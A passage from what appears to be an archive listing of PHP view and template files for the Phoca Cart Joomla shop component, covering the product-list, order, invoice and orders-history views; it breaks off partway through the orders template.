$this->p->get('image_height_cat', '');
//$this->t['image_link'] = $this->p->get(
'image_link', 0 );
$this->t['columns_cat'] =
$this->p->get('columns_cat', 3);
$this->t['enable_social'] =
$this->p->get('enable_social', 0);
//$this->t['cv_display_subcategories']=
$this->p->get( 'cv_display_subcategories', 5 );
$this->t['display_back'] =
$this->p->get('display_back', 3);
$this->t['display_compare'] =
$this->p->get('display_compare', 0);
$this->t['display_wishlist'] =
$this->p->get('display_wishlist', 0);
$this->t['display_quickview'] =
$this->p->get('display_quickview', 0);
$this->t['display_addtocart_icon'] =
$this->p->get('display_addtocart_icon', 0);
$this->t['fade_in_action_icons'] =
$this->p->get('fade_in_action_icons', 0);
// Hide action icon box if no icon displayed
$this->t['display_action_icons'] = 1;
if ($this->t['display_compare'] == 0 &&
$this->t['display_wishlist'] == 0 &&
$this->t['display_quickview'] == 0 &&
$this->t['display_addtocart_icon'] == 0) {
$this->t['display_action_icons'] = 0;
}
$this->t['category_addtocart'] =
$this->p->get('category_addtocart', 1);
$this->t['dynamic_change_image'] =
$this->p->get('dynamic_change_image', 0);
$this->t['dynamic_change_price'] =
$this->p->get('dynamic_change_price', 0);
$this->t['dynamic_change_stock'] =
$this->p->get('dynamic_change_stock', 0);
$this->t['dynamic_change_id'] =
$this->p->get('dynamic_change_id', 0);
$this->t['remove_select_option_attribute']=
$this->p->get( 'remove_select_option_attribute', 1 );
$this->t['add_compare_method'] =
$this->p->get('add_compare_method', 0);
$this->t['add_wishlist_method'] =
$this->p->get('add_wishlist_method', 0);
$this->t['display_addtocart'] =
$this->p->get('display_addtocart', 1);
$this->t['display_star_rating'] =
$this->p->get('display_star_rating', 0);
$this->t['add_cart_method'] =
$this->p->get('add_cart_method', 0);
$this->t['hide_attributes_category'] =
$this->p->get('hide_attributes_category', 1);
$this->t['hide_attributes'] =
$this->p->get('hide_attributes', 0);
$this->t['display_stock_status'] =
$this->p->get('display_stock_status', 1);
$this->t['hide_add_to_cart_stock'] =
$this->p->get('hide_add_to_cart_stock', 0);
$this->t['zero_attribute_price'] =
$this->p->get('zero_attribute_price', 1);
$this->t['hide_add_to_cart_zero_price'] =
$this->p->get('hide_add_to_cart_zero_price', 0);
$this->t['category_askquestion'] =
$this->p->get('category_askquestion', 0);
$this->t['popup_askquestion'] =
$this->p->get('popup_askquestion', 1);
// Rights or catalogue options --------------------------------
$rights = new PhocacartAccessRights();
$this->t['can_display_price'] =
$rights->canDisplayPrice();
$this->t['can_display_addtocart'] =
$rights->canDisplayAddtocart();
$this->t['can_display_attributes'] =
$rights->canDisplayAttributes();
if (!$this->t['can_display_addtocart']) {
$this->t['category_addtocart'] = 0;
$this->t['display_addtocart_icon'] = 0;
//$this->t['hide_attributes_category']= 1; Should
be displayed or not?
}
if (!$this->t['can_display_attributes']) {
$this->t['hide_attributes_category'] = 1;
}
// ------------------------------------------------------------
$this->t['display_view_product_button'] =
$this->p->get('display_view_product_button', 1);
$this->t['product_name_link'] =
$this->p->get('product_name_link', 0);
$this->t['switch_image_category_items'] =
$this->p->get('switch_image_category_items', 0);
$this->t['lazy_load_category_items'] =
$this->p->get('lazy_load_category_items', 0);// Products
$this->t['lazy_load_categories'] =
$this->p->get('lazy_load_categories', 0); //
Subcategories
$this->t['medium_image_width'] =
$this->p->get('medium_image_width', 300);
$this->t['medium_image_height'] =
$this->p->get('medium_image_height', 200);
$this->t['small_image_width'] =
$this->p->get('small_image_width', 180);
$this->t['small_image_height'] =
$this->p->get('small_image_height', 120);
$this->t['display_webp_images'] =
$this->p->get('display_webp_images', 0);
$this->t['category_display_labels'] =
$this->p->get('category_display_labels', 2);
$this->t['category_display_tags'] =
$this->p->get('category_display_tags', 0);
$this->t['category_display_manufacturer'] =
$this->p->get('category_display_manufacturer', 0);
$this->t['manufacturer_alias'] =
$this->p->get('manufacturer_alias',
'manufacturer');
$this->t['manufacturer_alias'] =
$this->t['manufacturer_alias'] != '' ?
trim(PhocacartText::filterValue($this->t['manufacturer_alias'],
'alphanumeric')) : 'manufacturer';
$this->t['show_pagination'] =
$this->p->get('show_pagination');
$this->t['show_pagination_top'] =
$this->p->get('show_pagination_top', 1);
$this->t['display_item_ordering'] =
$this->p->get('display_item_ordering');
$this->t['display_item_ordering_top'] =
$this->p->get('display_item_ordering_top', 1);
$this->t['show_pagination_limit'] =
$this->p->get('show_pagination_limit');
$this->t['show_pagination_limit_top'] =
$this->p->get('show_pagination_limit_top', 1);
$this->t['ajax_pagination_category'] =
$this->p->get('ajax_pagination_category', 0);
$this->t['display_pagination_labels'] =
$this->p->get('display_pagination_labels', 1);
$this->t['show_switch_layout_type'] =
$this->p->get('show_switch_layout_type', 1);
//$this->category =
$model->getCategory($this->t['categoryid']);
//$this->subcategories =
$model->getSubcategories($this->t['categoryid']);
$this->items = $model->getItemList();
$this->t['pagination'] =
$model->getPagination();
$this->t['ordering'] =
$model->getOrdering();
$this->t['layouttype'] =
$model->getLayoutType();
$this->t['layouttypeactive'] =
PhocacartRenderFront::setActiveLayoutType($this->t['layouttype']);
$this->t['columns_cat'] =
$this->t['layouttype'] == 'grid' ?
$this->t['columns_cat'] : 1;
$this->t['action'] = $uri->toString();
//$this->t['actionbase64'] =
base64_encode(htmlspecialchars($this->t['action']));
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkcheckout'] =
JRoute::_(PhocacartRoute::getCheckoutRoute(0));
$this->t['linkcomparison'] =
JRoute::_(PhocacartRoute::getComparisonRoute(0));
$this->t['linkwishlist'] =
JRoute::_(PhocacartRoute::getWishListRoute(0));
$this->t['limitstarturl'] =
$this->t['limitstart'] > 0 ? '&start=' .
$this->t['limitstart'] : '';
$this->t['class_row_flex'] =
$this->p->get('equal_height', 1) == 1 ?
'ph-row-flex' : '';
$this->t['class_fade_in_action_icons'] =
$this->p->get('fade_in_action_icons', 0) == 1 ?
'b-thumbnail' : '';
$this->t['class_lazyload'] =
$this->t['lazy_load_category_items'] == 1 ?
'ph-lazyload' : '';
$this->t['image_items_view'] =
$this->p->get('image_items_view', '');
$this->t['image_items_view'] =
$this->t['image_items_view'] != '' ?
JURI::base(true) . '/' .
$this->t['image_items_view'] : '';
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadChosen();
$media->loadProductHover();
PhocacartRenderJs::renderAjaxAddToCart();
//PhocacartRenderJs::renderAjaxUpdateCart();// used only in POS
PhocacartRenderJs::renderAjaxAddToCompare();
PhocacartRenderJs::renderAjaxAddToWishList();
// Moved to JS
PhocacartRenderJs::renderSubmitPaginationTopForm($this->t['action'],
'#phItemsBox');
if ((int)$this->t['category_askquestion'] > 0) {
PhocacartRenderJs::renderAjaxAskAQuestion();
if ($this->t['popup_askquestion'] == 1) {
$media->loadWindowPopup();
}
}
$touchSpinJs = $media->loadTouchSpin('quantity',
$this->s['i']);// only css, js will be loaded in ajax success
$media->loadPhocaSwapImage($this->t['dynamic_change_image']);
if ($this->t['hide_attributes_category'] == 0) {
$media->loadPhocaAttribute(1);
$media->loadPhocaAttributeRequired(1); // Some of the
attribute can be required and can be a image checkbox
}
/* if ($this->t['dynamic_change_price'] == 1) {
// items == category -> this is why items has class:
ph-category-price-box (to have the same styling)
PhocacartRenderJs::renderAjaxChangeProductPriceByOptions(0,
'Items', 'ph-category-price-box');// We need to load it
here
}
if ($this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductStockByOptions(0,
'Items', 'ph-item-stock-box');
}*/
/* if ($this->t['dynamic_change_id'] == 1 ||
$this->t['dynamic_change_price'] == 1 ||
$this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductDataByOptions((int)$this->item[0]->id,
'Items', 'ph-category-data-box');
}*/
// CHANGE PRICE FOR ITEM QUICK VIEW
if ($this->t['display_quickview'] == 1 ||
$this->t['category_addtocart'] == 104) {
PhocacartRenderJs::renderAjaxQuickViewBox();
// CHANGE PRICE FOR ITEM QUICK VIEW
/*if ($this->t['dynamic_change_price'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductPriceByOptions(0,
'ItemQuick', 'ph-item-price-box');// We need to load it
here
}
if ($this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductStockByOptions(0,
'ItemQuick', 'ph-item-stock-box');
}*/
/* if ($this->t['dynamic_change_id'] == 1 ||
$this->t['dynamic_change_price'] == 1 ||
$this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductDataByOptions(0,
'ItemQuick', 'ph-item-data-box');
}*/
$media->loadPhocaAttribute(1);
// We need to load it here
$media->loadPhocaSwapImage($this->t['dynamic_change_image']);//
We need to load it here in ITEM (QUICK VIEW) VIEW
}
$media->loadPhocaMoveImage($this->t['switch_image_category_items']);//
Move (switch) images in CATEGORY, ITEMS VIEW
$media->loadSpec();
$this->_prepareDocument();
$this->t['pathcat'] =
PhocacartPath::getPath('categoryimage');
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
// Plugins ------------------------------------------
JPluginHelper::importPlugin('pcv');
//$this->t['dispatcher'] = J
EventDispatcher::getInstance();
$this->t['event'] = new
stdClass;
$results =
\JFactory::getApplication()->triggerEvent('PCVonItemsBeforeHeader',
array('com_phocacart.items', &$this->items,
&$this->p));
$this->t['event']->onItemsBeforeHeader =
trim(implode("\n", $results));
// Foreach values are rendered in default foreaches
// Layout plugins - completely new layout including foreach
$this->t['pluginlayout'] = false;
if ($this->t['items_layout_plugin'] != '')
{
$this->t['items_layout_plugin'] =
PhocacartText::filterValue($this->t['items_layout_plugin'],
'alphanumeric2');
$this->t['pluginlayout'] =
JPluginHelper::importPlugin('pcl',
$this->t['items_layout_plugin']);
}
if ($this->t['pluginlayout']) {
$this->t['show_switch_layout_type'] = 0;
}
// END Plugins --------------------------------------
parent::display($tpl);
echo $media->returnLazyLoad();// Render all bottom scripts //
Must be loaded bottom because of ignoring async in Firefox
}
protected function _prepareDocument() {
$category = false;
if (isset($this->category[0]) &&
is_object($this->category[0])) {
$category = $this->category[0];
}
PhocacartRenderFront::prepareDocument($this->document,
$this->p, $category);
}
}
?>
items/view.raw.php000064400000023764151165727040010164 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
jimport( 'joomla.filesystem.folder' );
jimport( 'joomla.filesystem.file' );
class PhocaCartViewItems extends JViewLegacy
{
protected $category;
protected $subcategories;
protected $items;
protected $t;
protected $r;
protected $p;
protected $s;
function display($tpl = null) {
$app = JFactory::getApplication();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$model = $this->getModel();
$document = JFactory::getDocument();
$this->t['categoryid'] = $app->input->get(
'id', 0, 'int' );
$this->t['limitstart'] = $app->input->get(
'limitstart', 0, 'int' );
$this->t['ajax'] = 1;
// PARAMS
$this->t['view'] = 'items';
$this->t['items_layout_plugin'] = $this->p->get(
'items_layout_plugin', '');
$this->t['display_new'] = $this->p->get(
'display_new', 0 );
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
//$this->t['description'] = $this->p->get(
'description', '' );
$this->t['cv_display_description'] = $this->p->get(
'cv_display_description', 1 );
$this->t['image_width_cat'] = $this->p->get(
'image_width_cat', '' );
$this->t['image_height_cat'] = $this->p->get(
'image_height_cat', '' );
//$this->t['image_link'] = $this->p->get(
'image_link', 0 );
$this->t['columns_cat'] = $this->p->get(
'columns_cat', 3 );
$this->t['columns_subcat_cat'] = $this->p->get(
'columns_subcat_cat', 3 );
$this->t['enable_social'] = $this->p->get(
'enable_social', 0 );
$this->t['cv_display_subcategories']= $this->p->get(
'cv_display_subcategories', 5 );
$this->t['display_back'] = $this->p->get(
'display_back', 3 );
$this->t['display_compare'] = $this->p->get(
'display_compare', 0 );
$this->t['display_wishlist'] = $this->p->get(
'display_wishlist', 0 );
$this->t['display_quickview'] = $this->p->get(
'display_quickview', 0 );
$this->t['display_addtocart_icon'] = $this->p->get(
'display_addtocart_icon', 0 );
$this->t['fade_in_action_icons'] = $this->p->get(
'fade_in_action_icons', 0 );
// Hide action icon box if no icon displayed
$this->t['display_action_icons'] = 1;
if ($this->t['display_compare'] == 0 &&
$this->t['display_wishlist'] == 0 &&
$this->t['display_quickview'] == 0 &&
$this->t['display_addtocart_icon'] == 0) {
$this->t['display_action_icons'] = 0;
}
$this->t['category_addtocart'] = $this->p->get(
'category_addtocart', 1 );
$this->t['dynamic_change_image'] = $this->p->get(
'dynamic_change_image', 0);
$this->t['dynamic_change_price'] = $this->p->get(
'dynamic_change_price', 0 );
$this->t['dynamic_change_stock'] = $this->p->get(
'dynamic_change_stock', 0 );
$this->t['remove_select_option_attribute']=
$this->p->get( 'remove_select_option_attribute', 1 );
$this->t['add_compare_method'] = $this->p->get(
'add_compare_method', 0 );
$this->t['add_wishlist_method'] = $this->p->get(
'add_wishlist_method', 0 );
$this->t['display_addtocart'] = $this->p->get(
'display_addtocart', 1 );
$this->t['display_star_rating'] = $this->p->get(
'display_star_rating', 0 );
$this->t['add_cart_method'] = $this->p->get(
'add_cart_method', 0 );
$this->t['hide_attributes_category']= $this->p->get(
'hide_attributes_category', 1 );
$this->t['hide_attributes'] = $this->p->get(
'hide_attributes', 0 );
$this->t['display_stock_status'] = $this->p->get(
'display_stock_status', 1 );
$this->t['hide_add_to_cart_stock'] = $this->p->get(
'hide_add_to_cart_stock', 0 );
$this->t['zero_attribute_price'] = $this->p->get(
'zero_attribute_price', 1 );
$this->t['hide_add_to_cart_zero_price'] =
$this->p->get( 'hide_add_to_cart_zero_price', 0 );
$this->t['category_askquestion'] = $this->p->get(
'category_askquestion', 0 );
$this->t['popup_askquestion'] = $this->p->get(
'popup_askquestion', 1 );
// Rights or catalogue options --------------------------------
$rights = new PhocacartAccessRights();
$this->t['can_display_price'] =
$rights->canDisplayPrice();
$this->t['can_display_addtocart'] =
$rights->canDisplayAddtocart();
$this->t['can_display_attributes'] =
$rights->canDisplayAttributes();
if (!$this->t['can_display_addtocart']) {
$this->t['category_addtocart'] = 0;
$this->t['display_addtocart_icon'] = 0;
//$this->t['hide_attributes_category']= 1; Should be
displayed or not?
}
if (!$this->t['can_display_attributes']) {
$this->t['hide_attributes_category'] = 1;
}
// ------------------------------------------------------------
$this->t['display_view_product_button'] =
$this->p->get( 'display_view_product_button', 1 );
$this->t['product_name_link'] = $this->p->get(
'product_name_link', 0 );
$this->t['switch_image_category_items'] =
$this->p->get( 'switch_image_category_items', 0 );
$this->t['lazy_load_category_items'] = $this->p->get(
'lazy_load_category_items', 0 );
$this->t['lazy_load_categories'] = $this->p->get(
'lazy_load_categories', 0 );// Subcategories
$this->t['medium_image_width'] = $this->p->get(
'medium_image_width', 300 );
$this->t['medium_image_height'] = $this->p->get(
'medium_image_height', 200 );
$this->t['small_image_width'] =
$this->p->get('small_image_width', 180);
$this->t['small_image_height'] =
$this->p->get('small_image_height', 120);
$this->t['display_webp_images'] = $this->p->get(
'display_webp_images', 0 );
$this->t['category_display_labels'] = $this->p->get(
'category_display_labels', 2 );
$this->t['category_display_tags'] = $this->p->get(
'category_display_tags', 0 );
$this->t['category_display_manufacturer'] =
$this->p->get( 'category_display_manufacturer', 0 );
$this->t['manufacturer_alias'] = $this->p->get(
'manufacturer_alias', 'manufacturer');
$this->t['manufacturer_alias'] =
$this->t['manufacturer_alias'] != '' ?
trim(PhocacartText::filterValue($this->t['manufacturer_alias'],
'alphanumeric')) : 'manufacturer';
$this->t['show_pagination'] =
$this->p->get('show_pagination');
$this->t['show_pagination_top'] =
$this->p->get('show_pagination_top', 1);
$this->t['display_item_ordering'] =
$this->p->get('display_item_ordering');
$this->t['display_item_ordering_top'] =
$this->p->get('display_item_ordering_top', 1);
$this->t['show_pagination_limit'] =
$this->p->get('show_pagination_limit');
$this->t['show_pagination_limit_top'] =
$this->p->get('show_pagination_limit_top', 1);
$this->t['ajax_pagination_category'] =
$this->p->get('ajax_pagination_category', 0);
$this->t['display_pagination_labels'] =
$this->p->get('display_pagination_labels', 1);
$this->t['show_switch_layout_type'] =
$this->p->get('show_switch_layout_type', 1);
//$this->category =
$model->getCategory($this->t['categoryid']);
//$this->subcategories =
$model->getSubcategories($this->t['categoryid']);
$this->items = $model->getItemList();
$this->t['pagination'] = $model->getPagination();
$this->t['ordering'] = $model->getOrdering();
$this->t['layouttype'] = $model->getLayoutType();
$this->t['layouttypeactive'] =
PhocacartRenderFront::setActiveLayoutType($this->t['layouttype']);
$this->t['columns_cat'] =
$this->t['layouttype'] == 'grid' ?
$this->t['columns_cat'] : 1;
$uri->delVar('format');// !!! REMOVE format parameter
because return url needs to go to standard html
$this->t['action'] = $uri->toString();
//$this->t['actionbase64'] =
base64_encode(htmlspecialchars($this->t['action']));
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkcheckout'] =
JRoute::_(PhocacartRoute::getCheckoutRoute(0));
$this->t['linkcomparison'] =
JRoute::_(PhocacartRoute::getComparisonRoute(0));
$this->t['linkwishlist'] =
JRoute::_(PhocacartRoute::getWishListRoute(0));
$this->t['limitstarturl'] =
$this->t['limitstart'] > 0 ?
'&start='.$this->t['limitstart'] :
'';
$this->t['pathcat'] =
PhocacartPath::getPath('categoryimage');
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
$this->t['class_row_flex'] =
$this->p->get('equal_height', 1) == 1 ?
'ph-row-flex' : '';
$this->t['class_fade_in_action_icons'] =
$this->p->get('fade_in_action_icons', 0) == 1 ?
'b-thumbnail' : '';
$this->t['class_lazyload'] =
$this->t['lazy_load_category_items'] == 1 ?
'ph-lazyload' : '';
//$model->hit((int)$this->t['categoryid']);
// Plugins ------------------------------------------
JPluginHelper::importPlugin('pcv');
//$this->t['dispatcher'] = J
EventDispatcher::getInstance();
$this->t['event'] = new
stdClass;
$results =
\JFactory::getApplication()->triggerEvent('PCVonItemsBeforeHeader',
array('com_phocacart.items', &$this->items,
&$this->p));
$this->t['event']->onItemsBeforeHeader =
trim(implode("\n", $results));
// Foreach values are rendered in default foreaches
// Layout plugins - completely new layout including foreach
$this->t['pluginlayout'] = false;
if ($this->t['items_layout_plugin'] != '')
{
$this->t['items_layout_plugin'] =
PhocacartText::filterValue($this->t['items_layout_plugin'],
'alphanumeric2');
$this->t['pluginlayout'] =
JPluginHelper::importPlugin('pcl',
$this->t['items_layout_plugin']);
}
if ($this->t['pluginlayout']) {
$this->t['show_switch_layout_type'] = 0;
}
// END Plugins --------------------------------------
parent::display($tpl);
}
}
?>
order/index.html000064400000000054151165727040007663
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>order/metadata.xml000064400000000325151165727040010171
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<!--<view title="COM_PHOCACART_ORDER_GROUP">
<message><![CDATA[COM_PHOCACART_ORDER_GROUP_DESC]]></message>
</view>-->
<view hidden="true" />
</metadata>order/tmpl/default.php000064400000000540151165727040010777
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
?>order/tmpl/default.xml000064400000000720151165727040011010
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_ORDER_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_ORDER_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_ORDER_LAYOUT</name>
<description>COM_PHOCACART_ORDER_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>order/tmpl/index.html000064400000000054151165727040010637
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>order/view.html.php000064400000002632151165727040010320
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewOrder extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
public function display($tpl = null) {
$app = JFactory::getApplication();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$id = $app->input->get('id', 0, 'int');
$type = $app->input->get('type', 0, 'int');
$format = $app->input->get('format', '',
'string');
$token = $app->input->get('o', '',
'string');
$pos = $app->input->get('pos', '',
'0');
$orderGuestAccess = $this->p->get( 'order_guest_access',
0 );
if ($orderGuestAccess == 0) {
$token = '';
}
$order = new PhocacartOrderRender();
$o = $order->render($id, $type, $format, $token, $pos);
$media = PhocacartRenderMedia::getInstance('main');
echo $o;
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p,
false, false, JText::_('COM_PHOCACART_ORDER'));
}
}
?>
order/view.pdf.php000064400000004102151165727040010117 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewOrder extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
public function display($tpl = null) {
$app = JFactory::getApplication();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$id = $app->input->get('id', 0, 'int');
$type = $app->input->get('type', 0, 'int');
$format = $app->input->get('format', '',
'string');
$token = $app->input->get('o', '',
'string');
$pos = $app->input->get('pos', '',
'0');
$orderBillingData = PhocacartOrder::getOrderBillingData($id);
//$invoice_prefix = $this->p->get( 'invoice_prefix',
'');
$orderGuestAccess = $this->p->get( 'order_guest_access',
0 );
if ($orderGuestAccess == 0) {
$token = '';
}
$order = new PhocacartOrderRender();
$o = $order->render($id, $type, $format, $token, $pos);
//$media = PhocacartRenderMedia::getInstance('main');
switch($type) {
case 2:
$invoiceNumber = PhocacartOrder::getInvoiceNumber($id,
$orderBillingData['date'],
$orderBillingData['invoice_number']);
$title = JText::_('COM_PHOCACART_INVOICE_NR'). ':
'. $invoiceNumber;
break;
case 1:
case 3:
default:
$orderNumber = PhocacartOrder::getOrderNumber($id,
$orderBillingData['date'],
$orderBillingData['order_number']);
$title = JText::_('COM_PHOCACART_ORDER_NR'). ':
'. $orderNumber;
break;
}
$this->document->setTitle($title);
echo $o;
// PDF document name
$this->document->setName($title);
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p);
}
}
?>
order/view.raw.php000064400000004605151165727040010147 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewOrder extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
public function display($tpl = null) {
$app = JFactory::getApplication();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$id = $app->input->get('id', 0, 'int');
$type = $app->input->get('type', 0, 'int');
$format = $app->input->get('format', '',
'string');
$token = $app->input->get('o', '',
'string');
$pos = $app->input->get('pos', '',
'0');
$print_server = $app->input->get('printserver',
'', '0');
$orderGuestAccess = $this->p->get( 'order_guest_access',
0 );
$pos_server_print = $this->p->get( 'pos_server_print', 0
);
if ($orderGuestAccess == 0) {
$token = '';
}
$order = new PhocacartOrderRender();
$o = $order->render($id, $type, $format, $token, $pos);
if ($pos == 1 && $type == 4) {
// PRINT SERVER PRINT
if ($print_server == 1 && ($pos_server_print == 2 ||
$pos_server_print == 3)) {
try{
$printPos = new PhocacartPosPrint(1);
$printPos->printOrder($o);
echo '<div class="ph-result-txt
ph-success-txt">'.JText::_('COM_PHOCACART_RECEIPT_SENT_TO_PRINTER').
'</div>';
} catch(Exception $e) {
echo '<div class="ph-result-txt
ph-error-txt">'.JText::_('COM_PHOCACART_ERROR').
": ". $e->getMessage(). '</div>';
}
} else {
// RECEIPT IN HTML
$o = str_replace("\n", '', $o); // produce html
output in PRE and CODE tag without new rows ("\n");
echo '<div
class="phPrintInBox">'.$o.'</div>'; //
-->
components\com_phocacart\views\pos\tmpl\default_main_content_order.php
}
} else {
echo '<div
class="phPrintInBox">'.$o.'</div>'; //
-->
components\com_phocacart\views\pos\tmpl\default_main_content_order.php
}
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p,
false, false, JText::_('COM_PHOCACART_ORDER'));
}
}
?>
orders/index.html000064400000000054151165727050010047
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>orders/metadata.xml000064400000000267151165727050010362
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_ORDERS_GROUP">
<message><![CDATA[COM_PHOCACART_ORDERS_GROUP_DESC]]></message>
</view>
</metadata>orders/tmpl/default.php000064400000027477151165727050011205
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div id="ph-pc-orders-box"
class="pc-orders-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo
PhocacartRenderFront::renderHeader(array(JText::_('COM_PHOCACART_ORDERS')));
/*if ( $this->t['description'] != '') {
echo '<div class="ph-desc">'.
$this->t['description']. '</div>';
}*/
if ((int)$this->u->id > 0 || $this->t['token'] !=
'') {
echo '<div
class="'.$this->s['c']['row'].'
ph-orders-header-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'">'.JText::_('COM_PHOCACART_ORDER_NUMBER').'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'">'.JText::_('COM_PHOCACART_STATUS').'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'">'.JText::_('COM_PHOCACART_DATE_ADDED').'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'
ph-right">'.JText::_('COM_PHOCACART_TOTAL').'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'
ph-center">'.JText::_('COM_PHOCACART_ACTION').'</div>';
echo '<div class="ph-cb"></div>';
echo '</div>';
if (!empty($this->t['orders'])) {
$price = new PhocacartPrice();
foreach($this->t['orders'] as $k => $v) {
echo '<div
class="'.$this->s['c']['row'].'
ph-orders-item-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'">'.PhocacartOrder::getOrderNumber($v->id,
$v->date, $v->order_number).'</div>';
$statusClass =
PhocacartUtilsSettings::getOrderStatusClass($v->status_title);
$status = '<span
class="'.$statusClass.'">'.JText::_($v->status_title).'</span>';
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'">'.$status.'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'">'.PhocacartUtils::date($v->date).'</div>';
$price->setCurrency($v->currency_id);
$total = $price->getPriceFormat($v->total_amount);
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'
ph-right">'.$total.'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'
ph-center">';
$token = '';
if ($this->t['token'] != '') {
$token = '&o='.$this->t['token'];
}
$linkOrderView = JRoute::_(
'index.php?option=com_phocacart&view=order&tmpl=component&id='.(int)$v->id.'&type=1'.$token
);
$linkInvoiceView = JRoute::_(
'index.php?option=com_phocacart&view=order&tmpl=component&id='.(int)$v->id.'&type=2'.$token
);
$linkDelNoteView = JRoute::_(
'index.php?option=com_phocacart&view=order&tmpl=component&id='.(int)$v->id.'&type=3'.$token
);
$displayDocument = json_decode($v->ordersviewdisplay, true);
if (!is_array($displayDocument)) {$displayDocument = array();}
$view = '';
$linkOrderViewHandler= 'onclick="phWindowPopup(this.href,
\'orderview\', 2, 1.3);return false;"';
if (in_array(1, $displayDocument)) {
$view .= '<a href="' . $linkOrderView . '"
class="' .
$this->s['c']['btn.btn-success.btn-sm'] . '
ph-btn ph-orders-btn" role="button" ' .
$linkOrderViewHandler . '><span title="' .
JText::_('COM_PHOCACART_VIEW_ORDER') . '"
class="' . $this->s['i']['order'] . '
ph-icon-order"></span></a>';
}
if (in_array(2, $displayDocument) && $v->invoice_number !=
'') {
$view .= ' <a href="' . $linkInvoiceView .
'" class="' .
$this->s['c']['btn.btn-danger.btn-sm'] . '
ph-btn ph-orders-btn" role="button" ' .
$linkOrderViewHandler . '><span title="' .
JText::_('COM_PHOCACART_VIEW_INVOICE') . '"
